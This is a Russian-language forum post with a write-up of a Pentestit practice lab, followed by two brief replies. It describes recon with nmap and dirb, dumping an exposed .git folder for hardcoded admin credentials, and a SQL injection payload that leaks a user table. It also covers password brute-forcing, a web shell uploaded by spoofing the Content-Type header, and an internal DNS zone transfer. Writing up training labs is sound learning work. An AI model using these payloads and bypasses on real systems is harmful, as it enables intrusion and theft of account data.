Лаба уже к концу подходит, а скоро стартанёт 9ая версия. Может кому-то будет интересен write-up. Схема сети: Как обычно начинаем со скана портов: Code: nmap -sS -sV -T4 192.168.101.6 Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-08 14:27 MSK Nmap scan report for 192.168.101.6 Host is up (0.054s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 80/tcp open http nginx 1.8.0 443/tcp open ssl/http nginx 1.8.0 nmap -sS -sV -T4 192.168.101.7 Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-08 14:28 MSK Nmap scan report for 192.168.101.7 Host is up (0.053s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0) 25/tcp open tcpwrapped 8100/tcp open http CommuniGate Pro httpd 6.0.9 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel После скана портов видим следущее: 192.168.101.6:80 - site 192.168.101.6:443 - cabinet 192.168.101.7:22 - SSH 192.168.101.7:25 - SMTP 192.168.101.7:8100 - web GUI for mail Site token Сайт выглядит, как обычная html страница и страница авторизации. Изначально была мысль, что уязвимость где-то на странице авторизации, но попробовав разные пэйлоуды, понял, что ошибаюсь. Пробую просканить директории сайта dirb. Code: dirb http://192.168.101.6/ ---- Scanning URL: http://192.168.101.6/ ---- (!) WARNING: All responses for this directory seem to be CODE = 403. Каждый реквест возращает 403ую ошибку. Меняю user-agent и пробую ещё раз. Code: dirb http://192.168.101.6/ -a 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0' ---- Scanning URL: http://192.168.101.6/ ---- + http://192.168.101.6/.git/HEAD (CODE:200|SIZE:23) + http://192.168.101.6/.htaccess (CODE:200|SIZE:356) > Testing: http://192.168.101.6/aboutus Dirb находит .git директорию. Сливаю директорию с помощью git-rip Code: ./rip-git.pl -o /root/pentestit/lab/192.168.101.6/ -u http://192.168.101.6/.git/ В директории гита лежат все исходниики сайта. Поиском по файлам находим логин: grep -r 'login' ./ Code: ./app/database/seeds/DatabaseSeeder.php: User::create(array('email' => '[email protected]', 'login' => 'admin', 'password' => Hash::make('OEbdBst1RqWyfVsN1TrP'))); Логинимся с этим логином\паролем и получаем первый токен. Cabinet token После скана портов, мы знаем, что кабинет крутится на https. Сканируем кабинет dirb с изменённым user-agent, как мы это делали с сайтом. Dirb находит два урла: '/api/auth' '/api/balance' После проверки /api/auth на уязвимости, пробую потестировать /api/balance. Например, /api/balance?api_session_token=asd&id=1 Получаем - {"error":{"api_session_token":["The api session token must be 40 characters."]}} Пробовал с помощью burp автоматизировать процесс и сделать sql inj, но потом понял, что больше 40 символов не пройдёт и делал руками. Отправляем запрос: GET /api/balance?api_session_token=asdasasdasasdasasdasaaaafffas'+or+'1'='1&id=1 HTTP/1.1 Получаем: Code: [{"id":"1","email":"[email protected]","balance":"37.00"}, "id":"2","email":"[email protected]","balance":"59.00"}, "id":"3","email":"[email protected]","balance":"8.00"}, "id":"4","email":"[email protected]","balance":"111.00"}, "id":"5","email":"[email protected]","balance":"154.00"}, "id":"6","email":"[email protected]","balance":"81.00"}, "id":"7","email":"[email protected]","balance":"92.00"}, "id":"8","email":"[email protected]","balance":"78.00"}, "id":"9","email":"[email protected]","balance":"42.00"}, "id":"10","email":"[email protected]","balance":"137.00"}, "id":"11","email":"[email protected]","balance":"126.00"}, "id":"12","email":"[email protected]","balance":"186.00"}, "id":"13","email":"[email protected]","balance":"186.00"}, "id":"14","email":"[email protected]","balance":"73.00"}, "id":"15","email":"[email protected]","balance":"179.00"}, "id":"16","email":"[email protected]","balance":"67.00"}, "id":"17","email":"[email protected]","balance":"73.00"}, "id":"18","email":"[email protected]","balance":"35.00"}, "id":"19","email":"[email protected]","balance":"165.00"}, "id":"20","email":"[email protected]@rhyta.com","balance":"20.00"}, "id":"21","email":"[email protected]","balance":"105.00"}, "id":"22","email":"[email protected]","balance":"19.00"}, {"id":"23","email":"[email protected]","balance":"18.00"}] Из всех полученных аккаунтов заинтересовало [email protected], т.к. оно висело на почтовом сервере sas-bank.lab. C помощью burp и дефолтного словаря john the ripper удалось сбрутить пароль к кабинету данного пользователя. После того как логинимся в кабинет видим таблицу с информацией о транзакциях и слева информацию о пользователе и по клику на аватар появляется форма для загрузки аватара. Естественно на радостях пробовал загрузить сразу шелл в чистом виде, но срабатывала валидация. Включил в burp interception proxy и при загрузке шелла поменял Content-Type: application/x-php to Content-Type: image/jpeg. Получаем веб-шелл и токен от кабинета, который лежит в /var/www. Recon token С этим заданием сразу ничего понятно не было. Оно было в списке заданий, но где должен был быть токен и на какой машине его нужно было искать - это было загадкой. Вначале я решил опять посканить порты, только в этот раз посмотреть, что работает на udp. Code: nmap -sU -T4 -sV -p53 192.168.101.6 Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-08 15:31 MSK Nmap scan report for 192.168.101.6 Host is up (0.047s latency). PORT STATE SERVICE VERSION 53/udp open domain ISC BIND unknown Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 0.95 seconds nmap -sU -T4 -sV -p53 192.168.101.7 Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-08 15:31 MSK Nmap scan report for 192.168.101.7 Host is up (0.045s latency). PORT STATE SERVICE VERSION 53/udp open domain ISC BIND unknown Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 0.89 seconds Сразу же возникла мысль об axfr. Code: dig @192.168.101.6 sas-bank.lab axfr ; <<>> DiG 9.9.5-9+deb8u3-Debian <<>> @192.168.101.6 sas-bank.lab axfr ; (1 server found) ;; global options: +cmd ;; connection timed out; no servers could be reached dig @192.168.101.7 sas-bank.lab axfr ; <<>> DiG 9.9.5-9+deb8u3-Debian <<>> @192.168.101.7 sas-bank.lab axfr ; (1 server found) ;; global options: +cmd ;; connection timed out; no servers could be reached Пыл немного поубавился. Полез гуглить и нашёл информацию, что такие запросы могут быть разрешены внутри сети, но извне закрыты, а т.к. у нас уже был шелл, то оставалось только попробовать. Code: dig @192.168.101.6 sas-bank.lab axfr ; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> @192.168.101.6 sas-bank.lab axfr ; (1 server found) ;; global options: +cmd ;; connection timed out; no servers could be reached dig @192.168.101.7 sas-bank.lab axfr ; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> @192.168.101.7 sas-bank.lab axfr ; (1 server found) ;; global options: +cmd sas-bank.lab. 604800 IN SOA ns1.sas-bank.lab. root.sas-bank.lab. 8 604800 86400 2419200 604800 sas-bank.lab. 604800 IN NS ns1.sas-bank.lab. sas-bank.lab. 604800 IN NS ns2.sas-bank.lab. sas-bank.lab. 604800 IN A 192.168.101.6 sas-bank.lab. 604800 IN AAAA ::1 cabinet.sas-bank.lab. 604800 IN CNAME sas-bank.lab. mail.sas-bank.lab. 604800 IN A 192.168.101.7 mail.sas-bank.lab. 604800 IN MX 5 mx.sas-bank.lab. ns1.sas-bank.lab. 604800 IN A 192.168.101.6 ns2.sas-bank.lab. 604800 IN A 192.168.101.7 token_recon_ueshuN4ma.sas-bank.lab. 604800 IN CNAME sas-bank.lab. vpn.sas-bank.lab. 604800 IN A 192.168.101.7 www.sas-bank.lab. 604800 IN CNAME sas-bank.lab. sas-bank.lab. 604800 IN SOA ns1.sas-bank.lab. root.sas-bank.lab. 8 604800 86400 2419200 604800 ;; Query time: 2 msec ;; SERVER: 192.168.101.7#53(192.168.101.7) ;; WHEN: Tue Dec 8 15:35:25 2015 ;; XFR size: 14 records (messages 1, bytes 355) Получаем recon токен. Это всего лишь 3 токена из 12. Полный write-up можно прочитать здесь: https://drive.google.com/file/d/0B_AYPUqiqOk6S2FSRi1xR0huYnc/view?usp=sharing В write-up всё выглядит очень гладко, но на самом деле некоторые токены давались с большим трудом и иногда приходилось делать перерыв потому, что сказывалась усталость и терпение было на исходе. Данная версия лабы было очень интересной и узнал достаточно много чего нового. Основной вывод, который сделал из прохождения - уделять больше внимания деталям. С нетерпением жду новую версию лабы, которая судя по описанию будет очень интересной https://lab.pentestit.ru/pentestlabs/5 Мой первый write-up, поэтому сильно не пинайте
В первый раз слышу про такую канитель ) Можете описать где этот сайт и какой смысл на него время тратить ? Но всё же тоже интересно помучаться
192.168.101.8 => http://cybear32c.lab/ Но пишет что сайт не доступный почему ? vpn настроил и подключился